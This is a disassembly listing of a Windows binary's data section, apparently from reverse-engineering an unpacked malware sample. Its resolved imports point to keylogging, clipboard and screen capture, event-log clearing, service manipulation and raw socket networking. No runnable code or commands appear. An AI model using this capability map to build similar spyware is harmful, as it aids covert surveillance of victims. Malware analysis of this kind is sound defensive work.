word_4C5A4E	dw 0			; DATA XREF: .XComp0:0045309Co
					; .XComp0:004530A4o
		dd 39C0h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .XComp0:off_44DCE8o
		dd 37Ch	dup(0)
dword_4D4F44	dd 100h	dup(0)			db 0
byte_4D5345	db 3 dup(0)		; DATA XREF: .XComp0:00452CB8o
					; .XComp0:004532ACo
		dd 3Fh dup(0)
		db 3 dup(0)
byte_4D5447	db 0			; DATA XREF: .XComp0:00452DC8o
		dd 2FF4h dup(0)
dword_4E1418	dd 0							; .XComp0:0040E3A0r ...
dword_4E141C	dd 0							; sub_4021E5:loc_4047E9r ...
dword_4E1420	dd 0		dword_4E1424	dd 20h dup(0)						; sub_4016A7+680o ...
dword_4E14A4	dd 10h dup(0)						; sub_4016A7+69Eo ...
dword_4E14E4	dd 24h dup(0)						; sub_4016A7+6B2o ...
dword_4E1574	dd 0							; sub_4016A7+692w ...
dword_4E1578	dd 0				dd 3 dup(0)
dword_4E1588	dd 0		byte_4E158C	db 0			; DATA XREF: sub_401FD0:loc_402013r
					; sub_401FD0+4Eo
		align 10h
dword_4E1590	dd 0							; sub_4016A7+6ADo
byte_4E1594	db 0			; DATA XREF: sub_4016A7+6D1r
					; sub_4016A7+6DEo
		align 4
dword_4E1598	dd 0		dword_4E159C	dd 0		dword_4E15A0	dd 0							; sub_4016A7:loc_401CE6r ...
dword_4E15A4	dd 0							; sub_4021E5+A9Br ...
dword_4E15A8	dd 0		dword_4E15AC	dd 0		dword_4E15B0	dd 0		dword_4E15B4	dd 0		dword_4E15B8	dd 0		dword_4E15BC	dd 0		; resolved to->GDI32.DeleteDC					; sub_40B0C5+69Ar ...
dword_4E15C0	dd 0		; resolved to->KERNEL32.Module32First					; sub_41CDFD+185r
dword_4E15C4	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_40B0C5+B62r ...
dword_4E15C8	dd 0							; sub_40B0C5+DD0r ...
dword_4E15CC	dd 0							; sub_40B0C5+D9Ar ...
dword_4E15D0	dd 0		; resolved to->GDI32.SelectObject					; sub_40B0C5+688r ...
dword_4E15D4	dd 0		; resolved to->USER32.GetKeyState					; sub_40B0C5+2E7r
dword_4E15D8	dd 0							; sub_40B0C5+DC7r ...
dword_4E15DC	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_40B0C5+512r ...
dword_4E15E0	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_40B0C5+56Er ...
dword_4E15E4	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_40B0C5+51Br ...
dword_4E15E8	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_40B0C5+548r ...
dword_4E15EC	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_4144BD+21Cr
dword_4E15F0	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_40B0C5+113r ...
dword_4E15F4	dd 0							; sub_40B0C5+D91r ...
dword_4E15F8	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_40B0C5+536r ...
dword_4E15FC	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_40B0C5+B98r ...
dword_4E1600	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_40B0C5+3EEr ...
dword_4E1604	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_40B0C5+B8Fr
dword_4E1608	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_40B0C5+140r
dword_4E160C	dd 0		; resolved to->WININET.InternetReadFile					; sub_40B0C5+BA1r
dword_4E1610	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_40B0C5+94Cr
dword_4E1614	dd 0		; resolved to->KERNEL32.Process32Next					; sub_40B0C5+10Ar ...
dword_4E1618	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_40B0C5+C6Br
dword_4E161C	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4021E5+345Br ...
dword_4E1620	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_40B0C5+137r
dword_4E1624	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_40B0C5+67Fr ...
dword_4E1628	dd 0		; resolved to->WS2_32.ntohl					; sub_40E79A+20r
dword_4E162C	dd 0							; sub_40B0C5+DBEr
dword_4E1630	dd 0		; resolved to->WS2_32.ntohs					; sub_40B0C5+9DBr ...
dword_4E1634	dd 0		dword_4E1638	dd 0							; sub_40B0C5+F6Ar
dword_4E163C	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_40B0C5+B59r
dword_4E1640	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_40B0C5+27Fr ...
dword_4E1644	dd 0							; sub_40B0C5+DA3r ...
dword_4E1648	dd 0		; resolved to->ADVAPI32.ControlService					; sub_40B0C5+524r ...
dword_4E164C	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_40B0C5+52Dr ...
dword_4E1650	dd 0							; sub_40B0C5+111Cr ...
dword_4E1654	dd 0		; resolved to->WS2_32.getpeernamedword_4E1658	dd 0		; resolved to->WS2_32.WSACleanup					; sub_401567+23r ...
dword_4E165C	dd 0		; resolved to->GDI32.DeleteObject					; sub_40B0C5+6A3r ...
dword_4E1660	dd 0							; sub_40B0C5+DD9r ...
dword_4E1664	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_40B0C5+395w ...
dword_4E1668	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_40B0C5+11Cr ...
dword_4E166C	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_4021E5+8D1Er ...
dword_4E1670	dd 0		; resolved to->WS2_32.WSAStartup					; sub_4021E5+8943r ...
dword_4E1674	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_40B0C5+B74r ...
dword_4E1678	dd 0							; sub_40B0C5+DACr
dword_4E167C	dd 0							; sub_40B0C5+10A6r ...
dword_4E1680	dd 0		; resolved to->ADVAPI32.OpenEventLogA					; sub_41AAD0+49r
dword_4E1684	dd 0		; resolved to->USER32.GetForegroundWindow					; sub_40B0C5+2F9r
dword_4E1688	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_40B0C5+C59r
dword_4E168C	dd 0							; sub_40B0C5+10B8r
dword_4E1690	dd 0		; resolved to->ADVAPI32.ClearEventLogA					; sub_41AAD0+57r
dword_4E1694	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_40B0C5+966r ...
dword_4E1698	dd 0		; resolved to->WININET.InternetOpenA					; sub_40B0C5+B86r ...
dword_4E169C	dd 0		; resolved to->USER32.GetWindowTextA					; sub_40B0C5+2F0r
dword_4E16A0	dd 0		; resolved to->USER32.IsWindow					; sub_40B0C5+252r ...
dword_4E16A4	dd 0		; resolved to->WS2_32.getsockname					; sub_4021E5+8307r ...
dword_4E16A8	dd 0		; resolved to->WS2_32.connect					; sub_4021E5+89E3r ...
dword_4E16AC	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_40B0C5+959r
dword_4E16B0	dd 0							; sub_40B0C5+BDEr ...
dword_4E16B4	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_40B0C5+35Cw ...
dword_4E16B8	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_40B0C5+907w ...
dword_4E16BC	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_40B0C5+455r ...
dword_4E16C0	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_40B0C5+53Fr ...
dword_4E16C4	dd 0							; sub_40B0C5+109Dr ...
dword_4E16C8	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_40B0C5+B6Br ...
dword_4E16CC	dd 0		; resolved to->USER32.GetAsyncKeyState					; sub_40B0C5+2DEr
dword_4E16D0	dd 0		; resolved to->USER32.OpenClipboard					; sub_40B0C5+264r ...
dword_4E16D4	dd 0		; resolved to->WININET.InternetConnectA					; sub_40B0C5+B7Dr ...
dword_4E16D8	dd 0		; resolved to->WSOCK32.recvfrom					; sub_40B0C5+9FFr ...
dword_4E16DC	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_40B0C5+3A8w ...
dword_4E16E0	dd 0		; resolved to->WSOCK32.setsockopt					; sub_40B0C5+A2Cr
dword_4E16E4	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_40B0C5+44Cr ...
dword_4E16E8	dd 0		; resolved to->WS2_32.select					; sub_40B0C5+A11r ...
dword_4E16EC	dd 0		; resolved to->GDI32.CreateDCA					; sub_40B0C5+65Br ...
dword_4E16F0	dd 0		; resolved to->USER32.GetClipboardData					; sub_40B0C5+26Dr ...
dword_4E16F4	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_40B0C5+509r ...
dword_4E16F8	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_A					; sub_40B0C5+E58r
dword_4E16FC	dd 0		; resolved to->WS2_32.ntohl					; sub_40B0C5+9CEr ...
dword_4E1700	dd 0		; resolved to->WS2_32.ntohs					; sub_4021E5+8990r ...
dword_4E1704	dd 0		; resolved to->KERNEL32.Process32First					; sub_40B0C5+101r ...
dword_4E1708	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_40B0C5+676r ...
dword_4E170C	dd 0		; resolved to->USER32.FindWindowA					; sub_40B0C5+249r ...
dword_4E1710	dd 0							; sub_40B0C5+DEBr ...
dword_4E1714	dd 0		; resolved to->WS2_32.gethostname					; sub_40B0C5+A3Er
dword_4E1718	dd 0		; resolved to->WSOCK32.recv					; sub_4021E5+8A03r ...
dword_4E171C	dd 0							; sub_40B0C5+10AFr ...
dword_4E1720	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40B0C5+F8r ...
dword_4E1724	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_40B0C5+36Fw ...
dword_4E1728	dd 0		; resolved to->WS2_32.listen					; sub_40B0C5+A1Ar ...
dword_4E172C	dd 0		; resolved to->WS2_32.bind					; sub_40B0C5+A08r ...
dword_4E1730	dd 0							; sub_40B0C5+1117w ...
dword_4E1734	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_40B0C5+BAAr ...
dword_4E1738	dd 0							; sub_40B0C5+166r ...
dword_4E173C	dd 0							; sub_40B0C5+108Br ...
dword_4E1740	dd 0		; resolved to->WS2_32.inet_addr					; sub_4021E5+7890r ...
dword_4E1744	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_40B0C5+664r ...
dword_4E1748	dd 0		; resolved to->GDI32.BitBlt					; sub_40B0C5+691r ...
dword_4E174C	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_40B0C5+66Dr ...
dword_4E1750	dd 0		; resolved to->WS2_32.send					; sub_4021E5+8A2Cr ...
dword_4E1754	dd 0		; resolved to->USER32.CloseClipboard					; sub_40B0C5+276r ...
dword_4E1758	dd 0							; sub_40B0C5+DE2r ...
dword_4E175C	dd 0		; resolved to->USER32.SendMessageA					; sub_40B0C5+240r ...
dword_4E1760	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_40B0C5+125r ...
dword_4E1764	dd 0		; resolved to->WS2_32.sendto					; sub_40B0C5+9EDr ...
dword_4E1768	dd 0							; sub_40B0C5+F61r
dword_4E176C	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_40B0C5+45Er ...
dword_4E1770	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_40B0C5+3D3r ...
dword_4E1774	dd 0		; resolved to->SHELL32.SHChangeNotify					; sub_40B0C5+FD7r
dword_4E1778	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40B0C5+EC5r ...
dword_4E177C	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_40B0C5+EBCr ...
dword_4E1780	dd 0		; resolved to->WS2_32.socket					; sub_4021E5+8962r ...
dword_4E1784	dd 0		; resolved to->WS2_32.gethostbyname					; sub_4021E5+8950r ...
dword_4E1788	dd 0							; sub_40B0C5+1094r ...
dword_4E178C	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_4021E5+4BCAr ...
dword_4E1790	dd 0							; sub_40B0C5+DB5r ...
dword_4E1794	dd 0		; resolved to->WS2_32.accept					; sub_40B0C5+A23r ...
dword_4E1798	dd 0		; resolved to->WS2_32.closesocket					; sub_401DEC+122r ...
dword_4E179C	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_40B0C5+98Dr ...
dword_4E17A0	dd 0							; sub_40B0C5+F58r
dword_4E17A4	dd 0		; resolved to->WS2_32.WSASocketA					; sub_40B0C5+93Fr
dword_4E17A8	dd 0							; sub_40B0C5+F4Fr
dword_4E17AC	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_40B0C5+2Cw ...
dword_4E17B0	dd 0		; resolved to->USER32.DestroyWindow					; sub_40B0C5+25Br ...
		align 8
dword_4E17B8	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_40B0C5+C62r
dword_4E17BC	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_40B0C5+12Er ...
dword_4E17C0	dd 0							; sub_40B0C5+186w ...
dword_4E17C4	dd 0							; sub_40C219+12r
dword_4E17C8	dd 0							; sub_40B0C5:loc_40B3C7w ...
dword_4E17CC	dd 0							; sub_40C219+4Fr
dword_4E17D0	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_4021E5+5725r ...
dword_4E17D4	dd 0							; sub_40C219+8Cr
dword_4E17D8	dd 0							; sub_40B0C5+6C3w ...
dword_4E17DC	dd 0							; sub_40C219+C9r
dword_4E17E0	dd 0							; sub_40B0C5+A79w ...
dword_4E17E4	dd 0							; sub_40C219+106r
dword_4E17E8	dd 0							; sub_40B0C5+BFBw ...
dword_4E17EC	dd 0							; sub_40C219+143r
dword_4E17F0	dd 0							; sub_40B0C5+C8Bw ...
dword_4E17F4	dd 0							; sub_40C219+180r
dword_4E17F8	dd 0							; sub_40B0C5:loc_40BEB9w ...
dword_4E17FC	dd 0							; sub_40C219+1BDr
dword_4E1800	dd 0							; sub_40B0C5+E78w ...
dword_4E1804	dd 0							; sub_40C219+1FAr
dword_4E1808	dd 0							; sub_40B0C5+EE5w ...
dword_4E180C	dd 0							; sub_40C219+237r
dword_4E1810	dd 0							; sub_40B0C5+F8Aw ...
dword_4E1814	dd 0							; sub_40C219+274r
dword_4E1818	dd 0							; sub_40B0C5+FF7w ...
dword_4E181C	dd 0							; sub_40C219+2B1r
dword_4E1820	dd 0							; sub_40B0C5+10D8w ...
dword_4E1824	dd 0							; sub_40C219+2EEr
dword_4E1828	dd 0							; sub_40B0C5+1145w ...
dword_4E182C	dd 0							; sub_40C219+32Br
dword_4E1830	dd 5 dup(0)						; sub_40C86E+54o
dword_4E1844	dd 2 dup(0)	dword_4E184C	dd 0		dword_4E1850	dd 0		dword_4E1854	dd 0		byte_4E1858	db 0			; DATA XREF: sub_40D17A:loc_40D225r
					; sub_40D17A+10Ew
		align 10h
dword_4E1860	dd 0							; sub_40E79A+58r ...
dword_4E1864	dd 0				dd 7FEh	dup(0)
dword_4E3860	dd 6 dup(0)						; .XComp0:0040EE70o
dword_4E3878	dd 0							; .XComp0:0040E5BDo
dword_4E387C	dd 0							; .XComp0:0040E5D1r ...
dword_4E3880	dd 0		dword_4E3884	dd 0							; .XComp0:loc_40E582r
dword_4E3888	dd 20h dup(0)						; .XComp0:0040E56Eo
dword_4E3908	dd 0		dword_4E390C	dd 0							; .XComp0:0040E57Bw
dword_4E3910	dd 0				align 8
		dd 0
		dd 82h dup(0)
		dd 0
		dd 0
		dd 0
		dd 20h dup(0)
		dd 0
		dd 0
dword_4E3BB8	dd 0				align 10h
dword_4E3BC0	dd 0							; .XComp0:0040E477o
dword_4E3BC4	dd 41h dup(0)						; .XComp0:loc_40E437o
dword_4E3CC8	dd 41h dup(0)	dword_4E3DCC	dd 0							; .XComp0:0040E48Br ...
dword_4E3DD0	dd 0		dword_4E3DD4	dd 0							; .XComp0:0040E43Cr
dword_4E3DD8	dd 20h dup(0)						; .XComp0:0040E423o
dword_4E3E58	dd 0		dword_4E3E5C	dd 0							; .XComp0:0040E430w
dword_4E3E60	dd 0				align 8
dword_4E3E68	dd 0							; .XComp0:0040E721o
dword_4E3E6C	dd 0A2h	dup(0)	dword_4E40F4	dd 13h dup(0)						; .XComp0:0040E66Eo ...
		db 3 dup(0)
byte_4E4143	db 0			; DATA XREF: .XComp0:00452D9Co
		dd 2 dup(0)
dword_4E414C	dd 0		dword_4E4150	dd 2Ah dup(0)	dword_4E41F8	dd 0							; .XComp0:0040E6D9r
		align 10h
dword_4E4200	dd 0							; .XComp0:0040E735r ...
dword_4E4204	dd 0		dword_4E4208	dd 0		dword_4E420C	dd 0				dd 0
dword_4E4214	dd 0				dd 0
dword_4E421C	dd 0							; sub_40DD5F+2Dr
dword_4E4220	dd 0							; sub_40DD5F+27r
dword_4E4224	dd 82h dup(0)						; sub_40F238+E3o ...
dword_4E442C	dd 2 dup(0)	dword_4E4434	dd 0		dword_4E4438	dd 2 dup(0)	byte_4E4440	db 0			; DATA XREF: .XComp0:00411EE0r
		align 4
dword_4E4444	dd 2 dup(0)	dword_4E444C	dd 2 dup(0)	byte_4E4454	db 0			; DATA XREF: .XComp0:0041323Bo
					; .XComp0:00413261o ...
		align 4
		dd 3Fh dup(0)
word_4E4554	dw 0			; DATA XREF: sub_412CE8+1Cr
word_4E4556	dw 0			; DATA XREF: .XComp0:00452EFCo
dword_4E4558	dd 2 dup(0)	dword_4E4560	dd 2 dup(0)	dword_4E4568	dd 2 dup(0)	dword_4E4570	dd 0				dd 2 dup(0)
dword_4E457C	dd 0		dword_4E4580	dd 0							; .XComp0:00413493r
		align 8
dword_4E4588	dd 0							; sub_413752+14w
		align 10h
dword_4E4590	dd 0		dword_4E4594	dd 0							; .XComp0:004143EAr ...
		align 10h
dword_4E45A0	dd 0		dword_4E45A4	dd 3 dup(0)	byte_4E45B0	db 0			; DATA XREF: sub_4173DC+2Cr
					; sub_4173DC+3Fo ...
		align 4
		dd 0A3h	dup(0)
		db 3 dup(0)
byte_4E4843	db 0			; DATA XREF: .XComp0:0045306Co
					; .XComp0:004530ACo ...
		dd 40h dup(0)
		db 2 dup(0)
word_4E4946	dw 0			; DATA XREF: .XComp0:00452BDCo
					; .XComp0:00452BE4o
		dd 181h	dup(0)
		db 2 dup(0)
word_4E4F4E	dw 0			; DATA XREF: .XComp0:0045324Co
		dd 0FDh	dup(0)
		db 0
byte_4E5345	db 3 dup(0)		; DATA XREF: .XComp0:00452D68o
					; .XComp0:004532B4o
		dd 0C9Bh dup(0)
dword_4E85B4	dd 0							; sub_417DDF+Br
		dd 1Bh dup(0)
dword_4E8624	dd 0Eh dup(0)						; sub_4196B4+9Ao ...
dword_4E865C	dd 81h dup(0)						; sub_41A5B6+BAo
dword_4E8860	dd 0		dword_4E8864	dd 17h dup(0)						; sub_41AFD4+106o ...
dword_4E88C0	dd 80h dup(0)						; sub_41C3F4+C3o ...
dword_4E8AC0	dd 0							; sub_41B5D2+63r ...
dword_4E8AC4	dd 17h dup(0)						; sub_41C123+144o ...
dword_4E8B20	dd 80h dup(0)						; sub_41B4ED+B1o ...
byte_4E8D20	db 0			; DATA XREF: sub_41B5D2+2Cr
					; sub_41B5D2+3Ar ...
		align 4
dword_4E8D24	dd 80h dup(0)						; sub_41B8D8+C8o ...
dword_4E8F24	dd 82h dup(0)						; sub_41AE5B+66o ...
dword_4E912C	dd 0		dword_4E9130	dd 0		dword_4E9134	dd 0		dword_4E9138	dd 0		dword_4E913C	dd 0		dword_4E9140	dd 0		dword_4E9144	dd 0		dword_4E9148	dd 0		dword_4E914C	dd 0							; sub_41D208+36r ...
dword_4E9150	dd 0							; sub_41D208+Cr ...
dword_4E9154	dd 0							; sub_41D4E3+AAo
dword_4E9158	dd 0							; sub_41D208+21r ...
dword_4E915C	dd 0Dh dup(0)						; sub_41D30D+BDo ...
dword_4E9190	dd 0							; sub_41D30D+C2r ...
		align 8
dword_4E9198	dd 0		dword_4E919C	dd 0		dword_4E91A0	dd 0		dword_4E91A4	dd 0Eh dup(0)						; sub_41E075+84o
dword_4E91DC	dd 0		dword_4E91E0	dd 2561E90h						; sub_41F350:loc_41F78Br ...
dword_4E91E4	dd 2816h						; sub_41EEE0+21Cw ...
dword_4E91E8	dd 25624A8h						; sub_41EEE0+252r ...
dword_4E91EC	dd 1B73h						; sub_41EEE0+22Aw ...
dword_4E91F0	dd 1F96h						; sub_41EEE0+243w ...
dword_4E91F4	dd 0		dword_4E91F8	dd 0A28h						; sub_420610:loc_4206EDr ...
dword_4E91FC	dd 501h				dd 5
dword_4E9204	dd 1		dword_4E9208	dd 1							; sub_431A40+C6w
dword_4E920C	dd 2563130h						; sub_4016A7+3CCr ...
		dd 0
dword_4E9214	dd 2563178h						; sub_4318F0+81r ...
dword_4E9218	dd 0		dword_4E921C	dd 0							; sub_43C540+6r ...
		dd 0
off_4E9224	dd offset aCM_unpackerPac ; DATA XREF: sub_431A40+26w
					; sub_431A40+3Cr
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4E922C	db 0			; DATA XREF: sub_421880+30w
					; sub_424B10+8r
		align 10h
dword_4E9230	dd 0		dword_4E9234	dd 0							; sub_421880:loc_42194Bw
dword_4E9238	dd 0							; sub_421880+AFw
dword_4E923C	dd 0							; .XComp0:0042312Fw
dword_4E9240	dd 0		dword_4E9244	dd 0							; sub_4318F0+1Br ...
		dd 0
dword_4E924C	dd 0							; sub_4249B0+3r ...
dword_4E9250	dd 0							; sub_429EE0+2CEw ...
dword_4E9254	dd 0		; resolved to->USER32.wsprintfA					; sub_424D20+C8w ...
dword_4E9258	dd 0							; sub_41EDD0+10r ...
dword_4E925C	dd 0							; .XComp0:00425859w ...
dword_4E9260	dd 1472E8h, 0FFFFFFFFh,	4 dup(0)dword_4E9278	dd 147270h, 0FFFFFFFFh,	4 dup(0)dword_4E9290	dd 1472C0h, 0FFFFFFFFh,	4 dup(0)dword_4E92A8	dd 147298h, 0FFFFFFFFh,	4 dup(0)dword_4E92C0	dd 0							; sub_4286C0+93w ...
dword_4E92C4	dd 1							; sub_42BB50+3w ...
dword_4E92C8	dd 0							; sub_42C200+C9w ...
		align 10h
dword_4E92D0	dd 0							; sub_430EF0+140o
word_4E92D4	dw 0			; DATA XREF: sub_430EF0+E8r
		align 4
dword_4E92D8	dd 0							; sub_430EF0+159o
dword_4E92DC	dd 0							; sub_430C50+DDw ...
		dd 0
dword_4E92E4	dd 0							; sub_424440+6r ...
dword_4E92E8	dd 0		dword_4E92EC	dd 0		dword_4E92F0	dd 0		dword_4E92F4	dd 0							; sub_424620+16Cr ...
dword_4E92F8	dd 0		dword_4E92FC	dd 1							; sub_4312B0+4Bw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_431A40+19o
					; sub_431A40+26o ...
		align 4
		dd 3Ah dup(0)
dword_4E9404	dd 1							; sub_431F50+2Cw ...
dword_4E9408	dd 0							; sub_432540+34r
dword_4E940C	dd 0							; .XComp0:00432C32w ...
dword_4E9410	dd 0							; .XComp0:00432C45w ...
dword_4E9414	dd 0							; .XComp0:00432C59w ...
dword_4E9418	dd 0							; .XComp0:00432C6Cw ...
dword_4E941C	dd 0							; .XComp0:00432BD5w
dword_4E9420	dd 0		; resolved to->USER32.MessageBoxA					; sub_433100+39w ...
dword_4E9424	dd 0		; resolved to->USER32.GetActiveWindow					; sub_433100:loc_433173r ...
dword_4E9428	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_433100+8Br ...
dword_4E942C	dd 1							; sub_433870+46w ...
dword_4E9430	dd 0		dword_4E9434	dd 77C2807Ch						; sub_435930+37r ...
dword_4E9438	dd 0							; sub_435A80+86r ...
dword_4E943C	dd 0							; sub_436400+93r ...
dword_4E9440	dd 0							; sub_436400+A3r ...
dword_4E9444	dd 0							; sub_436400+7Cr ...
dword_4E9448	dd 0							; sub_436730+B1r ...
dword_4E944C	dd 0							; sub_436B90+2B5r ...
dword_4E9450	dd 0							; sub_436B90+2D7r ...
dword_4E9454	dd 3 dup(0)						; sub_430C50+F3o
word_4E9460	dw 0			; DATA XREF: sub_436B90+36r
		align 8
word_4E9468	dw 0			; DATA XREF: sub_436860+Fr
		align 4
		db 2 dup(0)
word_4E946E	dw 0			; DATA XREF: sub_436400+Fr
		db 2 dup(0)
word_4E9472	dw 0			; DATA XREF: sub_435B60+Fr
word_4E9474	dw 0			; DATA XREF: sub_435B60+1Ar
		align 4
dword_4E9478	dd 0							; sub_436FC0+176r ...
dword_4E947C	dd 0							; sub_437310+1Br ...
dword_4E9480	dd 0							; sub_437310+101r ...
dword_4E9484	dd 0							; sub_437250+47r ...
dword_4E9488	dd 0							; sub_436FC0+4Br ...
dword_4E948C	dd 0							; sub_436FC0+80r ...
dword_4E9490	dd 0							; sub_436FC0:loc_4370CEr ...
dword_4E9494	dd 0							; sub_436FC0+1CBr ...
dword_4E9498	dd 0							; sub_436FC0+2Cw ...
dword_4E949C	dd 0		byte_4E94A0	db 0			; DATA XREF: sub_43AA10+18Fo
					; sub_43AA10+1F2r ...
		align 8
dword_4E94A8	dd 0							; .XComp0:off_4533DCo ...
dword_4E94AC	dd 0							; sub_43ACB0+46w ...
dword_4E94B0	dd 0							; sub_43B7C0+6Dw ...
		align 8
dword_4E94B8	dd 0							; sub_43B7C0+77r
dword_4E94BC	dd 10h dup(0)	word_4E94FC	dw 0			; DATA XREF: sub_43BBA0+FCr
word_4E94FE	dw 0			; DATA XREF: sub_43B7C0+88r
					; sub_43BBA0+145r ...
word_4E9500	dw 0			; DATA XREF: sub_43BBA0+132r
word_4E9502	dw 0			; DATA XREF: sub_43BBA0+13Br
					; sub_43BBA0+18Br
word_4E9504	dw 0			; DATA XREF: sub_43BBA0+126r
					; sub_43BBA0+181r
word_4E9506	dw 0			; DATA XREF: sub_43BBA0+11Cr
					; sub_43BBA0+177r
word_4E9508	dw 0			; DATA XREF: sub_43BBA0+113r
					; sub_43BBA0+16Er
word_4E950A	dw 0			; DATA XREF: sub_43BBA0+109r
					; sub_43BBA0+164r
dword_4E950C	dd 0							; sub_43B7C0+CEr
dword_4E9510	dd 10h dup(0)	word_4E9550	dw 0			; DATA XREF: sub_43BBA0+43r
word_4E9552	dw 0			; DATA XREF: sub_43B7C0+ABr
					; sub_43BBA0+8Cr ...
word_4E9554	dw 0			; DATA XREF: sub_43BBA0+79r
word_4E9556	dw 0			; DATA XREF: sub_43BBA0+82r
					; sub_43BBA0+D2r
word_4E9558	dw 0			; DATA XREF: sub_43BBA0+6Dr
					; sub_43BBA0+C8r
word_4E955A	dw 0			; DATA XREF: sub_43BBA0+63r
					; sub_43BBA0+BEr
word_4E955C	dw 0			; DATA XREF: sub_43BBA0+5Ar
					; sub_43BBA0+B5r
word_4E955E	dw 0			; DATA XREF: sub_43BBA0+50r
					; sub_43BBA0+ABr
dword_4E9560	dd 0							; sub_43B7C0+C9r
dword_4E9564	dd 0							; sub_43B7C0+196r ...
dword_4E9568	dd 0							; sub_43B760+16r ...
dword_4E956C	dd 0							; sub_43C0A0+41w ...
dword_4E9570	dd 0							; sub_43C240+41w ...
dword_4E9574	dd 0							; sub_43C5F0+4Bw ...
byte_4E9578	db 0			; DATA XREF: sub_411029+3r
					; sub_411029+11r ...
		align 4
dword_4E957C	dd 0							; sub_439B90+A5w ...
dword_4E9580	dd 0							; sub_439D20+1EDw ...
		dd 7 dup(0)
dword_4E95A0	dd 2561F58h						; sub_4249E0+109r ...
		dd 3Fh dup(0)
dword_4E96A0	dd 20h							; sub_429A00+7r ...
dword_4E96A4	dd 0							; sub_4245A0+11r ...
dword_4E96A8	dd 0							; sub_4243A0+3Bo ...
dword_4E96AC	dd 4E4h							; sub_42B800+14Aw ...
word_4E96B0	dw 0			; DATA XREF: sub_42B800+19Aw
					; sub_42B800+2F3w ...
		align 4
		dd 2 dup(0)
dword_4E96BC	dd 0							; sub_42B800+2C2w ...
byte_4E96C0	db 0			; DATA XREF: sub_42BCB0+1CEw
					; sub_42BCB0+21Aw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4E97C0	db 0			; DATA XREF: sub_42B800+ABw
					; sub_42B800+1F4w ...
byte_4E97C1	db 0			; DATA XREF: sub_421C90+92r
					; sub_42B800+129r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4E98C4	dd 0							; sub_42B800+205w ...
